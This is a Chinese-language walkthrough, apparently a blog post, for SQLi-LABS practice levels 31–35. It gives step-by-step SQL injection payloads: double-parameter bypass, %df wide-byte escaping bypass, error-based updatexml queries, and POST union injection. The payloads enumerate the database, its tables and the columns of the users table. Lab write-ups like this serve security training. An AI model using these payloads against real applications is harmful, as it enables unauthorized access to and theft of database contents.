SQLi-LABS靶场31-35通过攻略

less-31

这一关是双服务器解析 所有我们使用双参数绕过 同第29关一样 只是闭合方式不一样

1.判断注入点

在url后加上双引号加括号引起报错 说明存在注入

2.判断闭合方式

“)--+ 可以闭合成功

3.查看页面回显点

?id=-1&id=-1") union select 1,2,3 --+

4.查询数据库名

5.查询数据库的所有表

?id=-1&id=-1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

6.查询users表的所有字段

?id=-1&id=-1") union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+

less-32

这一关使用宽字节注入 %df

1.判断注入点

在url后加上单引号 发现被转义成\' 

可以使用%df跟单引号拼接成一个字符 可以发现页面报错  说明存在注入

2.查询数据库名

既然页面有报错 那么使用报错注入

?id=1%df%27%20and%20updatexml(1,concat(1,database()),1)--+

3.查询数据库的所有表

?id=1%df%27%20and%20updatexml(1,concat(1,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())),1)--+

4.查询users表的所有字段

?id=1%df%27%20and%20updatexml(1,concat(1,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273)),1)--+

这里可以将users进行16进制编码再带入

less-33

1.判断注入点

同上一关一样 单引号会被转义 使用%df进行拼接

2.查看页面回显点

?id=-1%df%27%20%20union%20select%201,2,3--+

3.查询数据库名

?id=-1%df%27%20%20union%20select%201,database(),3--+

4.查询数据库的所有表

?id=-1%df%27%20%20union%20select%201,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

5.查询users表的所有字段

?id=-1%df%27%20%20union%20select%201,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273),3--+

less-34

这一关是post传参 其余操作跟上一关一样 

我们使用burp抓包来操作

1.使用burp进行抓包

2.判断回显点

uname=-1%df' union select 1,2 #

3.查询数据库名

uname=-1%df' union select 1,database() #

4.查询数据库的所有表

uname=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) #

5.查询users表的所有字段

uname=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273) #

less-35

这一关是正常数字型闭合  但是单引号一样会被转义

1.判断注入点

在url后加单引号引起报错 说明存在注入

2.判断闭合方式

?id=1 --+

3.查看页面回显点

?id=-1 union select 1,2,3--+

4.查询数据库名

?id=-1 union select 1,database(),3--+

5.查询数据库的所有表

?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+

6.查询users表的所有字段

?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273),3--+

  • 9
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值